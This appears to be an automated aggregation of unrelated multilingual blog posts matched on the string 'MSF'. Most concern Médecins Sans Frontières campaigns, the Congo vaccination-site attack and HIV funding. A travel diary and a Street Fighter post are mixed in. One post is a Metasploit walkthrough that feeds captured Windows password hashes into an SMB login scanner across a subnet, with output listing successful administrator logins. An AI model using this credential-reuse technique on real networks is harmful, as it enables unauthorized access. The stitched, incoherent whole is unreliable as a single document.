Last week I showed my journalism students an audio slideshow by multimedia producers Duckrabbit. Sat in silence, they watched Francoise’ story and got into a healthy debate afterwards about the piece.

They loved the text on the screen, and the images; but most of all,  as one student put it “I like how she tells he own story without any reporter’s voice”.

Duckrabbit have just launched a powerful new series with Medicins Sans Frontiers, and if you speak to Ben Chesterton from Duckrabbit you’ll quickly learn letting people tell their own story is what he’s all about.

Told only in their own voices all the website asks you is to send a message of support. At first that might seem a bit daft…Surely what they need is cash right? Well if you watch their videos you can find out about their lives, you can find out they’re not much different to you and me…secondly your messages of support do make a difference. I worked in camps in Kenya and the thing that people were most frightened of was being forgotten, the sense that no-one cares.

A debate on this blog earlier this year asked the question: do people need to care in order to act?

Journalists realised a few years ago there is good work available telling the powerful stories of NGOs, charities and the people they help.

More NGOs though need to come round to that idea, and understand the journalist’s storytelling skills will add a punch that no black and white footage with dreary voice over ever could.

Caffè News Magazine ha aderito alla campagna “Adotta una Crisi Dimenticata” di Medici Senza Frontiere e, con questa scelta, si impegna ad approfondire i temi dedicati alle crisi umanitarie individuate nel Rapporto Crisi Dimenticate 2009.
Caffè News Magazine prende parte all’iniziativa nell’intento di rendere nota la gravità di situazioni insostenibili ed abbattere il muro del silenzio.

Medici Senza Frontiere ha presentato, la scorsa primavera, l’ultimo rapporto sulle crisi umanitarie  dimenticate dai media internazionali e ha, inoltre, fornito una lista di quelle più gravi preoccupandosi di lanciare una campagna di sensibilizzazione dell’opinione pubblica grazie all’aiuto dei media.

L’obiettivo della più grande organizzazione medico-umanitaria nel mondo è gettare luce sui pericoli che affliggono oltre sessanta paesi (la maggior parte africani e asiatici) vittime di una condizione disumana a causa di guerre, malattie, carestie, epidemie, catastrofi naturali o semplice assenza di assistenza sanitaria. Il mezzo per raggiungere questo scopo è raccontare storie di dolore e sofferenza che prendono la quotidianità delle persone affinché le loro questioni facciano leva sulla responsabilità dei governi dei paesi Occidentali.

E’ per questo che, grazie al sostegno della Federazione Nazionale della Stampa Italiana, l’associazione ha lanciato la campagna “Adotta una Crisi Dimenticata” chiedendo a giornali, trasmissione radio e televisive, testate online di dare maggior spazio ad una di queste crisi. Un’iniziativa che vede coinvolte anche numerose Università e scuole di Giornalismo e alla quale hanno già aderito “Il Corriere della sera”, “La repubblica”, “La stampa”, “L’internazionale”, “Rai International”, “TG2”, “TG3”, “TG4”.

Le dieci crisi tanto gravi quanto ignorate riguardano: il sistema sanitario nello Zimbabwe(Africa meridionale), la catastrofe in Somalia(Africa orientale), la situazione sanitaria in Myanmar(Asia sudorienatle), la guerra nel Congo Orientale(Africa centrale), la malnutrizione infantile(estesa), la regione somala dell’Etiopia(Africa orientale), la fuga dei civili nel Pakistan nord-occidentale(Asia meridionale), la violenza in Sudan (Africa subsahariana), l’assistenza medica in Iraq(Asia arabica), la coinfezione HIV-TBC(estesa).

E’ l’ennesima denuncia dell’oblio in cui sistematicamente ricade un paese del terzo Mondo, della carenza dei più prossimi sistemi di assistenza e della negligenza degli aiuti economici da parte dei governi Occidentali.

Siamone, almeno, tutti coscienti!

Claudia Ruggiero

Hoy hace exactamente un mes que no actualizo y la verdad es que se nota…
Lo cierto es que se me hacía tan cuesta arriba encarar el panel de edición para escribir cuatro frases, que me estaba planteando seriamente cerrar el blog. No obstante, el tema del que quiero hablaros me pareció lo suficientemente importante como para sobreponerme a la pereza y redactar un nuevo post.

El lunes se puso en contacto conmigo Sophie para informarme de la nueva campaña de MSF para la concienciación contra las enfermedades olvidadas. Se trata de enfermedades que afectan a un porcentaje de la población demasiado bajo o demasiado pobre como para merecer la atención de las grandes empresas farmacéuticas. No obstante, cada año se cobran la vida de miles de personas en todo el mundo. Os dejo este vídeo informativo.

Gracias a tod@s!

Medici senza frontiere chiude il suo progetto a Lampedusa. Dicono di non servire più: “Tra maggio e ottobre, nel 2008, arrivarono 21mila migranti. Nello stesso periodo del 2009, Msf ne ha registrati meno di 200″. Gli altri? Sono in Libia, o ancora in mare.

It’s hard to be against the efforts of Doctors Without Borders (aka Medecins Sans Frontieres/MSF): they work in difficult conditions providing excellent care to people who have few if any other options. But recent ad campaigns by MSF have gotten out of hand. Take the latest example, “Girl”:

Perhaps the economic downturn has had a negative impact on giving to MSF, precipitating a need to use such a jarring advert that would compel donors to give in great numbers. I don’t deny the story they tell in the advert could really have happened (in fact, the makers remark the advert uses real audio recorded in an MSF field site). However, after seeing the previous (and related) advert, “Boy”, I commented:

as someone who has spent some time in Tanzania and Malawi, I come back to the US to answer questions from friends about what it’s really like in Africa and if it’s as bad as everyone says it is, or *gulp* worse. i think that viewers might perceive the advert to be about a place in Africa and that it would continue to distort their view of a place that isn’t always tragic (though i understand it is very much so in places where MSF works). i just think the advert furthers this whole “dark continent” nonsense.

All of this is to say you won’t find me recommending students seek jobs with MSF or encouraging rich MBA friends to donate to MSF causes.

(H/T: Matt at Aid Thoughts)

Every year 10.6 Million kids die before their 5th birthday. Malnutrition accounts for about half of that number. Finally, we may have a solution which addresses both caloric and micronutrient deficient diets: Plumpy’nut.

The old adage about being able to live off of only beer and peanut butter is almost true in this case, although since we’re talking about kids – it’s peanut butter and powdered milk. The mix also includes powdered sugar and several vitamin supplements including zinc, Vitamin A and E, iron and protein. It can add an astounding 1kg (2.2 lbs) per week to a hungry child’s weight.

CBS News ran a special on it back in 2008 but unfortunately WordPress does not support their embedded video.

It’s been used successfully in Niger by Medecins Sans Frontiers and is now being recommended by UNICEF for use across Africa and the world.

Plumpy’nut does not need to be cooked, or refrigerated, or boiled, it does not need to be mixed with water (eliminating potential contamination as has happened with powdered milk formulas), it has no parts which could be a choking hazard, it comes pre-packaged in an ideal amount, it can be eaten directly out of the packaging; making it an ideal meal for undernourished children in the developing world who may not have access to electricity or safe drinking water.

The following YouTube clip is an excerpt piece by Anderson Cooper from the longer CBS video I’ve referenced above.

- Sarah Topps

Cf 12 Nov. Basically the entire thing, in reverse.

Svp replace “The Ugly Truth” with “The Time Traveller’s Wife,” “Up,” and I’m pretty sure I watched another, but I really can’t remember. I’m off my face from exhaustion.

Got to Geneva as expected, at 07h30. Used their free internet. SH missed the train in the morning, so we played a bit of phone tag and message relaying. Managed to get to Gare Cornavin, walked out and around for a bit, found a park, and then just sat on the bench studiously conserving energy.

MSF lecture = so not awake. Really wanted to be awake, so I was pretty much in complete, constant pain from the attempting. Had coffee in the morning, but obviously insufficient. Ended up slapping myself a couple times. Tried to be discreet about it, but with our TA sitting basically to my immediate right, there really is so much you can do to keep “palm to cheek” discreet.

I gave him some chocolate. Yes, I am not above bribing my TA so that he might revise his “this girl is slightly off her rocker” opinion of me.

Had a couple hours to walk around the city a bit. Had dinner at a traditional fondue place: just bread + melted cheese, followed by fruit + melted chocolate. There was live music with fun instruments, which was cool. Dude played the saw. Sounded like a crying cat. Was feeling slightly more perky (I had another coffee from the MSF vending machine).

Really long, strong, hot shower. Watched The Bourne Identity with roomie for the night, SH.

Sleep of the dead.

Totally totally AWESOME.

Legendary Street Fighter player, the best Urien in the world, RX (!!!!!!!!!) payed us a visit here in Brazil.

Maybe that’s why the Yun and the Yang of the world are really unbalanced.

It was unbelievably good playing with him. He is on such a greater level of the game!

He’s mesmerizing to watch, he has extraordinary offense and defense, crazy combos, such elegant and precise execution! Plus, he is such a nice guy!

I was really happy I got the chance to play him in a tournament. At winner’s finals, even!

RX in Brazil.  Cruuuuush!

Oh, BTW, I gave him the Urien painting I posted some time ago. It’s been a while without posts, I know, but I’ve been busy… sorry.

TRANSLATION TO PORTUGUESE – TRADUÇÃO PARA O PORTUGUÊS

Totalmente totalmente doidimáis!

O lendário jogador de Street Fighter – o RX, melhor Urien do mundo veio fazer uma visita para a gente no Brazil!!!

Deve ser por isso que o Yun e o Yang do mundo estão desbalanceados.

Foi inacreditavelmente bom jogar contra ele. Ele está em um outro nível de jogo. Hipnotizante de assistir, ataque e defesa muito aburdos,  combos malucos, execução elegante e precisa! E ele é muito legal!

Fiquei super feliz de poder jogar contra ele num campeonato. Na final da winners até!

RX no Brasil! Cruuuuush!

A propósito, eu dei o quadro do Urien que eu tinha postado um tempo atrás no blog. Faz tempo que eu não posto aqui, mas eu tenho ficado mto ocupado… mals!

A ONG Médicos sen Fronteiras presenta esta actividade para xogar en rede. É unha “historia optimista sobre a desnutrición infantil”. Hai un vídeo para ver como motivación antes de xogar. Está deseñado para alumnos a partir de 10 anos e pódese xogar en galego, castelán, catalán, eskera. Para que os nenos aprendan a ser solidarios

El Alto Comisariado de la ONU para los Refugiados informa de nuevos detalles sobre los sangrientos enfrentamientos étnicos que tuvieron lugar a principios de este mes en la provincia de Equateur, en la República Democrática del Congo (RDC), gracias a las visitas que ACNUR y las autoridades de la RDC han realizado a refugiados dispersos en aldeas situadas a lo largo de los160 kilómetros de la ribera del río Ubangui, que establece la frontera entre la RDC y la República del Congo (RC). Mientras tanto, la organización Médicos Sin Fronteras ha denunciado lo que considera “un inaceptable ataque militar contra los civiles”.

El personal del ACNUR en la República del Congo, en colaboración con funcionarios del gobierno de este país, sitúa el número de nuevos refugiados en 21.800, en su mayoría de la etnia Munzayas, según declaraciones del portavoz del ACNUR Andrej Mahecic. “Estos refugiados, que comenzaron llegar a la República de Congo el miércoles pasado y que ahora se refugian en las aldeas situadas entre los distritos de Betou e Impfondo, en el norte de la República del Congo, dijeron a nuestro personal que huían del clan Enyele”. Según los testimonios de estos refugiados, grupos Enyele habían ido de casa en casa, saqueando, violando y matando a la mayoría de los civiles de etnia Munzayas en Dongo y aldeas de los alrededores, que ahora están prácticamente vacías. El origen de esta violencia, indicaron, se encuentra en una disputa sobre los derechos de agricultura y pesca.

El 70% de los refugiados son mujeres y niños. Durante este fin de semana, ACNUR ha comenzado a entregar mantas, esteras para dormir, mosquiteras, utensilios de cocina y bidones.

Más de 20 de los refugiados han llegado a la República de Congo con heridas de bala. ACNUR ha trasladado a nueve de los heridos más graves al hospital Impfondo, entre los cuales se encuentra una niña de 11 años a la que le ha sido amputada la pierna derecha. La clínica móvil financiada por ACNUR sigue yendo de pueblo en pueblo para ofrecer atención sanitaria básica a los refugiados que se encuentran lejos de los centros de salud de los distritos de Betou e Impfondo. Los gobiernos de RDC y RC también han proporcionado medicinas a los centros de salud.

La mayoría de los refugiados ha dejado de cruzar la frontera en medio de informes que indican que el ejército de la RDC ha intervenido por la fuerza en Dongo para detener los ataques de Enyele armados, que al parecer se han organizado en una milicia. A pesar de esta acción por parte del Gobierno, el lunes nuestros colegas en la República del Congo aún podían ver el humo procedente de casas incendiadas al otro lado del río. Mientras algunos de los recién llegados nos han indicado que les gustaría regresar a sus aldeas cuando la milicia Enyele sea derrotada, otros se sienten demasiado traumatizados y han confesado a ACNUR que no están preparados para regresar.

Los primeros enfrentamientos entre las etnias Enyele y Munzaya tuvieron lugar en marzo de 2009, cuando más de 200 casas fueron incendiadas en la población de Munzaya y más de 1.200 residentes huyeron a la República del Congo para ponerse a salvo.

MSF
En Kivu Norte, región del este de la República Democrática del Congo que se encuentra en permanente conflicto desde hace más de una década, miles de civiles fueron recientemente atacados por el ejército congolés mientras estaban vacunándose contra el sarampión. Las fuerzas gubernamentales abrieron fuego indiscriminadamente contra siete centros de vacunación de Médicos Sin Fronteras (MSF), que se ha visto forzada a denunciar este claro e inaceptable abuso de la ayuda humanitaria para fines militares.

El hecho tuvo lugar el pasado 17 de octubre, mientras los equipos de MSF se encontraban vacunando a miles de niños en siete lugares distintos del área de Ngomashi y Kimua, zonas que estaban bajo el control del grupo rebelde FDLR en ese momento. La vacunación era parte de una campaña masiva que se estaba llevando a cabo en el distrito de Masisi y que servía para dar apoyo al Ministerio de Salud en la respuesta a una epidemia de sarampión.

Todas las partes enfrentadas se habían comprometido previamente para que MSF pudiera vacunar con garantías de seguridad en esos lugares y en esa fecha. Sin embargo, el ejército nacional congolés, lanzó ataques contra cada uno de los siete centros de vacunación que se habían instalado. Debido a la intensidad del ataque, todas aquellas personas que habían acudido para vacunar a sus hijos, se vieron forzadas a huir en desbandada y ahora mismo están en paradero desconocido y sin poder ser vacunados. Por su parte, MSF ha tenido que suspender temporalmente sus actividades en la zona y evacuar a su personal a Goma, la capital de Kivu Norte.

“Hemos sido utilizados como cebo”, pues los ataques “coincidieron con el inicio de las vacunaciones y pusieron las vidas de los civiles en riesgo extremo”, afirma Luis Encinas, jefe de programas de la organización en África Central. “Miles de personas y los equipos de MSF quedaron atrapados en medio de los disparos…. este ataque es un abuso inaceptable de la ayuda humanitaria para lograr fines militares. ¿Cómo será percibido MSF a partir de ahora por la población? ¿Van a sentirse nuestros pacientes seguros para acceder a los servicios médicos después de lo que ha pasado? Nos vemos obligados a denunciar esta situación porque este tipo de acciones comprometen seriamente nuestra neutralidad”, relata Encinas.

MSF quiere dejar claro que es una organización humanitaria independiente e imparcial, que proporciona atención médica en base a unos estrictos principios de neutralidad. Y esa neutralidad es la que hace posible que los equipos de MSF puedan vacunar a la población de las zonas que están controladas por el FDLR, que hasta el momento habían sido completamente inaccesibles para el personal del Ministerio de Salud.

Durante los últimos meses se ha producido un preocupante incremento de ataques por parte de distintos grupos armados contra las organizaciones humanitarias tanto en Kivu Norte como en Kivu Sur. Por ello, Meinie Nicolai, directora de operaciones de MSF y portavoz de la organización exige que “todas las partes en conflicto respeten el trabajo de las organizaciones humanitarias. Si no lo hacen, será la población la que pagará el precio de estos combates. Son aquellas personas que se ven afectadas por la violencia extrema y por los continuos desplazamientos a las que también se les privaría de recibir ayuda humanitaria”.

A lo largo de esta campaña en la región de Masisi, 165.000 niños con edades comprendidas entre los seis meses y los 15 años han sido vacunados contra el sarampión. En Masisi, MSF presta apoyo en un hospital y un centro de salud y lleva a cabo clínicas móviles y vacunaciones. MSF también presta asistencia médica en los distritos de Walikale, Rutshuru, y Lubero, así como a la población de la provincia de Kivu Sur. MSF trabaja en Kivu Norte desde 1992.

Fuente: El Mercurio Digital

A retreat from international funding commitments for AIDS threatens to undermine the dramatic gains made in reducing AIDS-related illness and death in recent years, according to a new report by Médecins Sans Frontières (MSF).

The report – Punishing Success? Early Signs of a Retreat from Commitment to HIV/AIDS Care and Treatment – highlights how expanding access to HIV treatment has not only saved the lives of people with AIDS but has been central to reducing overall mortality in a number of high HIV burden countries in southern Africa in recent years. In Malawi and South Africa, MSF observed very significant decreases in overall mortality in areas where antiretroviral therapy (ART) coverage was high. Increased treatment coverage has also had an impact on the burden of other diseases, for example tuberculosis cases have been significantly reduced in Thyolo, Malawi and Western Cape province, South Africa.

“After almost a decade of progress in rolling out AIDS treatment we have seen substantial improvements, both for patients and public health. But recent funding cuts mean doctors and nurses are being forced to turn HIV patients away from clinics as if we were back in the 1990s before treatment was available”, says Dr Tido von Schoen-Angerer, director of MSF’s Access to Essential Medicines Campaign.

International support to combat HIV/AIDS is faltering as reflected in significant funding shortfalls. The board of directors of the Global Fund, a key financer of AIDS, TB and malaria programmes in poor countries is unable to respond to countries’ needs and will  vote this week in Addis Ababawhether or not to suspend all new funding proposals in 2010; and PEPFAR, the US AIDS programme, is flatlining funding for two more years.

“The proposed cancellation of the 2010 funding round and other measures to slow the pace of treatment scale-up are punishing the successes of the past years and preventing countries from saving more lives” says von Schoen-Angerer.

In 2005, world leaders promised to support universal AIDS coverage by 2010, a promise that encouraged many African governments to launch ambitious treatment programmes.

“What about the promise made to people with AIDS? We gave them hope and life. We have to be there for them, we all knew from the beginning that this treatment was for life,” says Olesi Ellemani Pasulani, MSF clinical officer in Thyolo District Hospital, Malawi. “Passing on the bill for treating AIDS to very poor countries would be a colossal betrayal.”

Reducing funding at this time will leave people in urgent need of treatment to die prematurely and can lead to dangerous interruption of treatment. In Uganda, cuts have already begun to hit home with some facilities forced to stop treating new patients with HIV. Other countries are backing away from their earlier treatment coverage targets. In Free State, South Africa, past funding problems that have now been resolved led to disruption of treatment and a moratorium on treating new patients which resulted in an estimated 3,000 deaths.

The report provides evidence that, particularly in high HIV-prevalence settings, treating AIDS has a positive impact on other important health goals, in particular maternal and child health.

“A stronger commitment to other health priorities must happen, but this should be in addition to, not instead of, continued, increased commitment to HIV/AIDS”, adds von Schoen-Angerer.

At present, over four million people living with HIV/AIDS in the developing world receive antiretroviral therapy. An estimated six million people who are in need of life-saving treatment are still waiting for access.

MSF operates HIV/AIDS programmes in around 30 countries and provides antiretroviral treatment to more than 140,000 HIV-positive adults and children.

so… you say you were able to grab LM / NTLM hashes from a windows box??? cool. now use them in the scanner/smb/login to check & see which systems use the same hashes:

msf exploit(psexec) > use scanner/smb/login
msf auxiliary(login) > info

Name: SMB Login Check Scanner
Version: 0
License: Metasploit Framework License (BSD)

Provided by:
tebo <tebo@attackresearch.com>

Basic options:
Name       Current Setting  Required  Description
—-       —————  ——–  ———–
RHOSTS                      yes       The target address range or CIDR identifier
RPORT      445              yes       Set the SMB service port
SMBDomain  WORKGROUP        no        SMB Domain
SMBPass                     no        SMB Password
SMBUser    Administrator    no        SMB Username
THREADS    1                yes       The number of concurrent threads

Description:
This module will test a SMB login on a range of machines and report
successful logins. If you have loaded a database plugin and
connected to a database this module will record successful logins
and hosts so you can track your access.

msf auxiliary(login) > set RHOSTS 10.1.1.0/24
RHOSTS => 10.1.1.0/24
msf auxiliary(login) > set SMBPass XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX (hash goes here)
SMBPass => XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
msf auxiliary(login) > exploit
[*] 10.1.1.6 – FAILED 0xc000006d – STATUS_LOGON_FAILURE
[*] 10.1.1.21 – SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 2)
[*] Recording successful SMB credentials for 10.1.1.21
[*] 10.1.1.25 – SUCCESSFUL LOGIN (Windows 5.0)
[*] Recording successful SMB credentials for 10.1.1.25
[*] 10.1.1.29 – SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 2)
[*] Recording successful SMB credentials for 10.1.1.29
[*] 10.1.1.28 – SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 2)
[*] Recording successful SMB credentials for 10.1.1.28
[*] 10.1.1.31 – SUCCESSFUL LOGIN (Windows Server 2003 3790 Service Pack 1)

To speed it up, set THREADS > 1. Be careful not to set it too high:

[*] Error: 10.1.1.189: ActiveRecord::StatementInvalid SQLite3::BusyException: database is locked: INSERT INTO “hosts” (“address”, “name”, “comm”, “os_lang”, “mac”, “os_sp”, “arch”, “os_flavor”, “address6″, “os_name”, “desc”, “created”, “state”) VALUES(‘10.1.1.189′, NULL, ”, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, ‘2009-11-06 10:48:09′, ‘unknown’)

Thanks to tebo for the excellent work. Now, if only it worked with credcollect.

Sept sites de vaccination de Médecins Sans Frontières (MSF), où des milliers de civils s’étaient rassemblés, ont été pris sous le feu d’attaques de l’armée congolaise contre les Forces Démocratiques de Libération du Rwanda (FDLR) au Nord Kivu. C’est ce que l’on peut lire dans un communiqué de presse de cette ONG humanitaire médicale diffusé le 6 novembre. MSF dénonce cette attaque et parle d’«utilisation inacceptable de l’aide humanitaire à des fins militaires ». Les faits, indique le communiqué, se sont déroulés le 17 octobre dernier.
L’ONG rappelle qu’en appui au ministère de la santé de la RDC, elle a lancé une campagne de vaccination de masse dans le territoire de Masisi en réponse à une épidémie de rougeole. Le 17 octobre 2009, les équipes médicales de MSF vaccinaient des milliers d’enfants à Ngomashi et Kimua, des zones alors contrôlées par les FDLR. Alors que toutes les parties au conflit avaient donné des garanties de sécurité à MSF pour vacciner à ces endroits et à ce moment, les forces armées de la RDC (FARDC) ont lancé des attaques sur chacun des sept sites de vaccination. « L’ensemble des personnes venues faire vacciner leurs enfants ont fui d’intenses combats sans que l’on sache aujourd’hui où elles se trouvent ni comment les vacciner. Les équipes MSF ont dû stopper leurs activités dans ces zones et ont été évacuées vers la ville de Goma », peut-on découvrir dans le communiqué de MSF.
« Nous avons le sentiment d’avoir servi d’appât », s’est plaint Luis Encinas, responsable des programmes de MSF en RDC. « Les attaques ont coïncidé avec le début de la vaccination et des milliers de personnes, ainsi que les équipes MSF, ont été prises au piège des tirs. Cette attaque représente un risque extrême pour la vie des populations civiles. De plus, il s’agit d’une utilisation des actions humanitaires pour servir des objectifs militaires. Comment MSF sera-t-elle désormais perçue par la population ? Nos patients se sentiront-ils encore en sécurité ? Nous n’avons d’autre choix que de dénoncer cette situation avec force car notre neutralité est compromise», a ajouté Luis Encinas.
« MSF demande à toutes les parties au conflit de respecter le travail des organisations humanitaires », a, pour sa part, fait savoir Meinie Nicolai, directrice des opérations de l’ONG, citée dans le communiqué. « Sinon, ce sont les populations qui en paient les conséquences. Déjà accablées par des violences extrêmes et les déplacements incessants, elles risquent aujourd’hui de se retrouver coupées de l’aide humanitaire», a-t-elle conclu.
MSF indique tout de même que 165.000 enfants âgés de six mois à 15 ans ont été vaccinés contre la rougeole au cours de cette campagne menée au mois d’octobre dans la région de Masisi. A Masisi, MSF appuie un hôpital, un centre de santé, mène des cliniques mobiles et des vaccinations. MSF qui est présent au Nord-Kivu depuis 1992 apporte également des soins médicaux dans les territoires de Walikale, de Rutshuru et de Lubero, ainsi qu’en province du Sud Kivu.
Franck Baku

A new report out today from Doctors Without Borders (Medecins Sans Frontieres) highlights concerns that donor countries’ commitment to combating the deadly HIV/AIDS epidemic is wavering.

“MSF teams working to treat HIV/AIDS are witnessing worrying signs of waning international support to combat HIV/AIDS,” the report says. “In some high-burden countries, patients are being turned away from clinics, and clinicians are once again being forced into the unacceptable position of rationing life-saving treatment. At the same time, more robust and better-tolerated treatments – widely prescribed in wealthy countries – are not reaching patients.”

The report, called “Punishing Success: Early Signs of a Retreat from Commitment to HIV/AIDS Care and Treatment,” says that the Global Fund to Fight AIDS, Tuberculosis and Malaria Board is considering a move to cancel Round 10 funding for 2010, which would mean no new grant proposals could be considered until 2011. The document also says that the Obama Administration plans to provide only level funding for the US President’s Emergency Plan for AIDS Relief (PEPFAR) for the next two years.

Both these moves would have dire consequences, the report says, putting at risk the gains made in HIV/AIDS treatment and prevention. Click here to read the full document, which calls on the donor community to provide robust funding for AIDS, among other recommendations.

I august lanserte mine kolleger i Storbritannia reklamefilmen Boy. Filmen ble vist på britisk kino, og delt med den store verden på nett. Boy ble raskt både sett og diskutert av et bredt publikum, og slett ikke alle likte det de så. Men før vi går løs på kritikken –

Her, damer og herrer, er filmen (må sees med lyd):

Boy

Ja, den er grusom.

Reaksjonene kom umiddelbart. Reklamefilmen ble lagt ut på bloggen Osocio, som samler markedsføringskampanjer fra NGOer over hele verden, og publikum var sinna, sjokkert, begeistret, irritert og oppskaket.

Både reklameselskapet og MSF fikk masse kjeft, og egentlig ikke så mye skryt.

Jeg skal ikke gå gjennom all kritikken (anbefaler interesserte å lese diskusjonen på Osocio), men vil nevne noen momenter som gikk igjen hos flere:

De få som likte filmen, mente den var:

Både kritikken og støtten kom fra et bredt sett av hjelpearbeidere, reklamefolk, mødre, fedre og andre engasjerte.

MSF UK hadde i forkant oppfordret publikum til å komme med tilbakemeldinger og vurderinger av filmen, og flere av de ansatte i MSF deltok også i ordskiftet som oppstod etter lanseringen. Der viste det seg at heller ikke alle MSF-ansatte likte filmen.

Mye kan imidlertid tyde på at publikum ble tatt på alvor. I dag kom nemlig oppfølgeren til Boy. Her er:

Girl

Den er også sterk. Men annerledes.

Hva synes du er forskjellen på de to filmene? Fungerer de like godt? Har MSF lært noe?

PS: Boy og Girl er laget McCann Erickson London på oppdrag for MSF UK. For ordens skyld: MSF UK har ikke betalt for verken produksjonen eller visningen av reklamefilmene. Filmene vil også kun vises før filmer med 15-årsgrense eller mer. Leger Uten Grenser i Norge har ikke hatt noe med filmene å gjøre.